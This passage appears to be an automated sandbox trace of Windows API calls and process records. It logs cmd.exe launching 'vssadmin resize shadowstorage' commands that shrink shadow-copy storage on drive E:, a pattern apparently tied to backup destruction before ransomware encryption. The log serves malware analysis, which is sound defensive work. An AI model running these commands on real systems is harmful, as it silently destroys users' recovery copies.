	[0072.242] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0072.243] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0072.243] ??_V@YAXPAX@Z () returned 0x1
	[0072.243] GetProcessHeap () returned 0x9d0000
	[0072.243] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xffd6) returned 0x9d8d50
	[0072.244] GetProcessHeap () returned 0x9d0000
	[0072.244] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x82) returned 0x9d7b60
	[0072.244] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0072.244] malloc (_Size=0xffce) returned 0x2cf2610
	[0072.244] ??_V@YAXPAX@Z () returned 0x5ef38c
	[0072.244] GetProcessHeap () returned 0x9d0000
	[0072.244] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1ffa4) returned 0x9e8d30
	[0072.246] SetErrorMode (uMode=0x0) returned 0x0
	[0072.246] SetErrorMode (uMode=0x1) returned 0x0
	[0072.246] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x9e8d38, lpFilePart=0x5ef3ac | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x5ef3ac*="Desktop") returned 0x17
	[0072.246] SetErrorMode (uMode=0x0) returned 0x1
	[0072.246] GetProcessHeap () returned 0x9d0000
	[0072.246] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9e8d30, Size=0x4a) returned 0x9e8d30
	[0072.246] GetProcessHeap () returned 0x9d0000
	[0072.246] RtlSizeHeap (HeapHandle=0x9d0000, Flags=0x0, MemoryPointer=0x9e8d30) returned 0x4a
	[0072.246] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0072.246] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0072.246] GetProcessHeap () returned 0x9d0000
	[0072.246] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1b4) returned 0x9d7bf0
	[0072.246] GetProcessHeap () returned 0x9d0000
	[0072.246] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x360) returned 0x9d7db0
	[0072.252] GetProcessHeap () returned 0x9d0000
	[0072.252] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9d7db0, Size=0x1b6) returned 0x9d7db0
	[0072.252] GetProcessHeap () returned 0x9d0000
	[0072.252] RtlSizeHeap (HeapHandle=0x9d0000, Flags=0x0, MemoryPointer=0x9d7db0) returned 0x1b6
	[0072.252] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0072.252] GetProcessHeap () returned 0x9d0000
	[0072.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xe0) returned 0x9d7f70
	[0072.252] GetProcessHeap () returned 0x9d0000
	[0072.252] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9d7f70, Size=0x76) returned 0x9d7f70
	[0072.252] GetProcessHeap () returned 0x9d0000
	[0072.252] RtlSizeHeap (HeapHandle=0x9d0000, Flags=0x0, MemoryPointer=0x9d7f70) returned 0x76
	[0072.252] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.252] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x5ef138, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ef138) returned 0xffffffff
	[0072.253] GetLastError () returned 0x2
	[0072.253] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.253] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x5ef138, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ef138) returned 0xffffffff
	[0072.253] GetLastError () returned 0x2
	[0072.253] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.253] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x5ef138, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ef138) returned 0x9d7ff0
	[0072.253] GetProcessHeap () returned 0x9d0000
	[0072.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0x9d8030
	[0072.253] FindClose (in: hFindFile=0x9d7ff0 | out: hFindFile=0x9d7ff0) returned 1
	[0072.253] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x5ef138, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ef138) returned 0xffffffff
	[0072.254] GetLastError () returned 0x2
	[0072.254] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x5ef138, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ef138) returned 0x9d7ff0
	[0072.254] GetProcessHeap () returned 0x9d0000
	[0072.254] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9d8030, Size=0x4) returned 0x9d8030
	[0072.254] FindClose (in: hFindFile=0x9d7ff0 | out: hFindFile=0x9d7ff0) returned 1
	[0072.254] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0072.254] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0072.254] ??_V@YAXPAX@Z () returned 0x1
	[0072.254] GetConsoleTitleW (in: lpConsoleTitle=0x5ef63c, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0072.255] InitializeProcThreadAttributeList (in: lpAttributeList=0x5ef568, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x5ef554 | out: lpAttributeList=0x5ef568, lpSize=0x5ef554) returned 1
	[0072.255] UpdateProcThreadAttribute (in: lpAttributeList=0x5ef568, dwFlags=0x0, Attribute=0x60001, lpValue=0x5ef550, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x5ef568, lpPreviousValue=0x0) returned 1
	[0072.255] GetStartupInfoW (in: lpStartupInfo=0x5ef5a0 | out: lpStartupInfo=0x5ef5a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0072.255] GetProcessHeap () returned 0x9d0000
	[0072.255] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x18) returned 0x9d7ff0
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0072.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0072.256] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0072.256] GetProcessHeap () returned 0x9d0000
	[0072.256] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d7ff0) returned 1
	[0072.256] GetProcessHeap () returned 0x9d0000
	[0072.256] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xa) returned 0x9d7ff0
	[0072.256] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0072.257] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.257] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0072.258] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.258] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0072.258] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x5ef4f0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x5ef53c | out: lpCommandLine="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessInformation=0x5ef53c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xd04, dwThreadId=0x774)) returned 1
	[0072.271] CloseHandle (hObject=0xdc) returned 1
	[0072.271] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0072.271] GetProcessHeap () returned 0x9d0000
	[0072.271] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d6c48) returned 1
	[0072.271] GetEnvironmentStringsW () returned 0x9d6c48*
	[0072.271] GetProcessHeap () returned 0x9d0000
	[0072.271] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xb1a) returned 0x9d4bc0
	[0072.271] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.271] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0072.854] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x5ef4d4 | out: lpExitCode=0x5ef4d4*=0x2) returned 1
	[0072.854] CloseHandle (hObject=0xe0) returned 1
	[0072.854] _vsnwprintf (in: _Buffer=0x5ef5bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x5ef4dc | out: _Buffer="00000002") returned 8
	[0072.855] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0072.855] GetProcessHeap () returned 0x9d0000
	[0072.855] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d4bc0) returned 1
	[0072.856] GetEnvironmentStringsW () returned 0x9d8170*
	[0072.856] GetProcessHeap () returned 0x9d0000
	[0072.856] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xb40) returned 0x9d4bc0
	[0072.856] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.856] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0072.856] GetProcessHeap () returned 0x9d0000
	[0072.856] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d4bc0) returned 1
	[0072.856] GetEnvironmentStringsW () returned 0x9d8170*
	[0072.856] GetProcessHeap () returned 0x9d0000
	[0072.856] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xb40) returned 0x9d4bc0
	[0072.856] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.856] GetProcessHeap () returned 0x9d0000
	[0072.856] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d7ff0) returned 1
	[0072.856] DeleteProcThreadAttributeList (in: lpAttributeList=0x5ef568 | out: lpAttributeList=0x5ef568) 
	[0072.856] ??_V@YAXPAX@Z () returned 0x1
	[0072.856] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.856] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0072.863] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.863] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0072.867] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.867] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0072.868] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.868] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0072.869] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.869] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0072.871] SetConsoleInputExeNameW () returned 0x1
	[0072.871] GetConsoleOutputCP () returned 0x1b5
	[0072.904] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0072.904] SetThreadUILanguage (LangId=0x0) returned 0x7f0409
	[0072.908] exit (_Code=2) 
	[0072.908] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 59
	os_tid = 0xd2c


Process:
	id = "18"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1ab10000"
	os_pid = "0x370"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "17"
	os_parent_pid = "0x35c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 56
	os_tid = 0x454


Thread:
	id = 57
	os_tid = 0xa24


Thread:
	id = 58
	os_tid = 0xd18


Process:
	id = "19"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0xf726000"
	os_pid = "0xd04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "17"
	os_parent_pid = "0x35c"
	cmd_line = "vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 60
	os_tid = 0x774


Thread:
	id = 61
	os_tid = 0xd64


Thread:
	id = 62
	os_tid = 0xd84


Thread:
	id = 63
	os_tid = 0x78c


Thread:
	id = 64
	os_tid = 0xdec


Process:
	id = "20"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1b304000"
	os_pid = "0xb3c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 65
	os_tid = 0xbc0

	[0073.358] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0073.358] __set_app_type (_Type=0x1) 
	[0073.358] __p__fmode () returned 0x77803c14
	[0073.358] __p__commode () returned 0x778049ec
	[0073.358] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0073.358] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0073.358] _onexit (_Func=0xb88030) returned 0xb88030
	[0073.358] _onexit (_Func=0xb88040) returned 0xb88040
	[0073.358] _onexit (_Func=0xb88050) returned 0xb88050
	[0073.359] _onexit (_Func=0xb88060) returned 0xb88060
	[0073.359] _onexit (_Func=0xb88070) returned 0xb88070
	[0073.359] _onexit (_Func=0xb88080) returned 0xb88080
	[0073.359] GetCurrentThreadId () returned 0xbc0
	[0073.359] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbc0) returned 0xbc
	[0073.359] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0073.360] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0073.360] SetThreadUILanguage (LangId=0x0) returned 0x3110409
	[0073.372] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0073.372] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32ffaf0 | out: phkResult=0x32ffaf0*=0x0) returned 0x2
	[0073.373] VirtualQuery (in: lpAddress=0x32ffafb, lpBuffer=0x32ffaa8, dwLength=0x1c | out: lpBuffer=0x32ffaa8*(BaseAddress=0x32ff000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0073.373] VirtualQuery (in: lpAddress=0x3200000, lpBuffer=0x32ffaa8, dwLength=0x1c | out: lpBuffer=0x32ffaa8*(BaseAddress=0x3200000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0073.373] VirtualQuery (in: lpAddress=0x3201000, lpBuffer=0x32ffaa8, dwLength=0x1c | out: lpBuffer=0x32ffaa8*(BaseAddress=0x3201000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0073.373] VirtualQuery (in: lpAddress=0x3203000, lpBuffer=0x32ffaa8, dwLength=0x1c | out: lpBuffer=0x32ffaa8*(BaseAddress=0x3203000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0073.373] VirtualQuery (in: lpAddress=0x3300000, lpBuffer=0x32ffaa8, dwLength=0x1c | out: lpBuffer=0x32ffaa8*(BaseAddress=0x3300000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0073.373] GetConsoleOutputCP () returned 0x1b5
	[0073.380] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0073.381] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0073.381] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.381] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0073.386] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.386] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0073.393] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.393] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0073.398] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.398] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0073.409] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.409] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0073.414] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.414] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0073.422] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.422] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0073.434] GetEnvironmentStringsW () returned 0x33b4bd0*
	[0073.434] GetProcessHeap () returned 0x33b0000
	[0073.434] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xaca) returned 0x33b56a8
	[0073.435] FreeEnvironmentStringsA (penv="A") returned 1
	[0073.435] GetProcessHeap () returned 0x33b0000
	[0073.435] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33b46b0
	[0073.435] GetEnvironmentStringsW () returned 0x33b4bd0*
	[0073.435] GetProcessHeap () returned 0x33b0000
	[0073.435] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xaca) returned 0x33b6180
	[0073.435] FreeEnvironmentStringsA (penv="A") returned 1
	[0073.435] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fea4c | out: phkResult=0x32fea4c*=0xcc) returned 0x0
	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0xc5, lpcbData=0x32fea50*=0x1000) returned 0x2
